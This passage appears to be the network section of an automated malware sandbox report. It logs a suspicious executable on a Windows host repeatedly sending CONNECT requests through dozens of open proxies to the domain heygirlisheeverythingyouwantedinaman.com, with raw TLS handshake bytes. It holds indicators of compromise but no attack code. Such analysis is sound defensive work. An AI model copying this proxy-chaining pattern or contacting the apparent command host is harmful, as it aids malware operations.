Mar 11, 2024 15:21:04.741580009 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 14:21:04 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
676	192.168.2.9	51466	12.88.29.66	9080	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:04.598371029 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:06.651365042 CET	19	IN	HTTP/1.1 200 OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
677	192.168.2.9	51428	52.151.210.204	9002	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:04.612668991 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
678	192.168.2.9	52477	104.16.104.12	80	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:04.612672091 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:04.766891003 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 14:21:04 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
679	192.168.2.9	51511	65.49.82.7	58195	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:04.613987923 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:07.638016939 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:10.638386011 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:16.638169050 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:28.637643099 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:40.637561083 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:52.637547970 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:22:16.641505957 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
680	192.168.2.9	52260	31.148.207.153	80	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:04.613987923 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
681	192.168.2.9	52282	47.97.167.200	3128	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:04.629414082 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:05.403619051 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:06.458991051 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:08.548950911 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:12.700764894 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
682	192.168.2.9	52333	72.206.181.123	4145	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:04.629636049 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
683	192.168.2.9	52281	138.36.150.16	1080	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:04.633050919 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
684	192.168.2.9	52518	172.67.181.9	80	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:04.634103060 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:04.788572073 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 14:21:04 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
685	192.168.2.9	52380	184.170.245.148	4145	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:04.635875940 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
686	192.168.2.9	52020	112.30.155.83	12792	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:04.646442890 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:05.997127056 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:08.183722973 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:12.700587988 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
687	192.168.2.9	51467	68.1.210.163	4145	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:04.647543907 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
688	192.168.2.9	52501	162.240.22.184	43494	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:04.648113966 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:05.200252056 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:05.887924910 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:06.964246988 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
689	192.168.2.9	52454	38.54.6.39	9080	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:04.649072886 CET	243	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com
Mar 11, 2024 15:21:06.867984056 CET	39	IN	HTTP/1.1 200 Connection established

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
690	192.168.2.9	52322	95.84.166.138	8080	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:04.649806023 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
691	192.168.2.9	52472	54.152.3.36	80	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:04.650944948 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:04.985356092 CET	116	IN	HTTP/1.1 200 OK Date: Mon, 11 Mar 2024 14:21:04 GMT Server: nginx Content-Type: text/plain Content-Length: 0
Mar 11, 2024 15:21:05.002281904 CET	202	OUT	Data Raw: 16 03 03 00 c5 01 00 00 c1 03 03 65 ef 13 50 f8 eb b9 ab c4 c0 08 c5 72 e3 80 e4 ce dd c5 c9 a2 b1 49 b1 35 ca 66 6f 77 a5 07 ec 00 00 2a c0 2c c0 2b c0 30 c0 2f 00 9f 00 9e c0 24 c0 23 c0 28 c0 27 c0 0a c0 09 c0 14 c0 13 00 9d 00 9c 00 3d 00 3c Data Ascii: ePrI5fow*,+0/$#('=<5/n-+(heygirlisheeverythingyouwantedinaman.com#
Mar 11, 2024 15:21:05.257654905 CET	1129	IN	Data Raw: 16 03 03 00 3d 02 00 00 39 03 03 eb 49 1a db d2 82 aa 83 82 53 c2 21 41 37 10 45 0a 5f ec ca dc 42 96 76 44 4f 57 4e 47 52 44 01 00 c0 30 00 00 11 ff 01 00 01 00 00 0b 00 04 03 00 01 02 00 17 00 00 16 03 03 02 e8 0b 00 02 e4 00 02 e1 00 02 de 30 Data Ascii: =9IS!A7E_BvDOWNGRD0000*H03110/U(heygirlisheeverythingyouwantedinaman.com0240311140725Z260311140725Z03110/U(heygirlisheeverythingyouwantedinaman.c
Mar 11, 2024 15:21:05.267059088 CET	93	OUT	Data Raw: 16 03 03 00 25 10 00 00 21 20 b9 3f 1c 28 e8 7f ab d8 da 04 57 f2 a2 f0 32 ef 12 eb 49 e4 d6 65 c8 cb a6 68 2f 3e f1 88 1b 13 14 03 03 00 01 01 16 03 03 00 28 00 00 00 00 00 00 00 00 01 51 c4 c6 66 28 49 62 b7 80 e4 08 d1 36 2b 50 d1 56 11 df 1d Data Ascii: %! ?(W2Ieh/>(Qf(Ib6+PV',a
Mar 11, 2024 15:21:05.533483982 CET	51	IN	Data Raw: 14 03 03 00 01 01 16 03 03 00 28 ab e0 43 a0 e4 fd ec c2 00 a9 02 08 b0 cb 59 1d b1 74 1f 0e c5 27 2f 78 23 c4 34 23 18 c3 a8 07 00 11 5d 69 fb 6a 6c 6d Data Ascii: (CYt'/x#4#]ijlm

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
692	192.168.2.9	52332	61.92.189.15	80	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:04.651261091 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
693	192.168.2.9	49804	188.190.40.44	8080	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:04.653033972 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:07.638030052 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:10.638385057 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:16.638175964 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
694	192.168.2.9	52446	72.217.158.202	4145	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:04.654460907 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
695	192.168.2.9	52341	5.252.23.220	1081	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:04.654464960 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
696	192.168.2.9	52514	3.12.144.146	3128	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:04.658421993 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:04.875715017 CET	116	IN	HTTP/1.1 200 OK Date: Mon, 11 Mar 2024 14:21:04 GMT Server: nginx Content-Type: text/plain Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
697	192.168.2.9	52429	181.129.43.3	8080	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:04.658421993 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:05.403337955 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:06.294075012 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:07.997189999 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:11.200947046 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:14.384740114 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:17.591093063 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:20.307990074 CET	19	IN	HTTP/1.1 200 OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
698	192.168.2.9	52441	46.51.249.135	3128	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:04.659012079 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:04.925313950 CET	116	IN	HTTP/1.1 200 OK Date: Mon, 11 Mar 2024 14:21:04 GMT Server: nginx Content-Type: text/plain Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
699	192.168.2.9	52453	24.249.199.12	4145	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
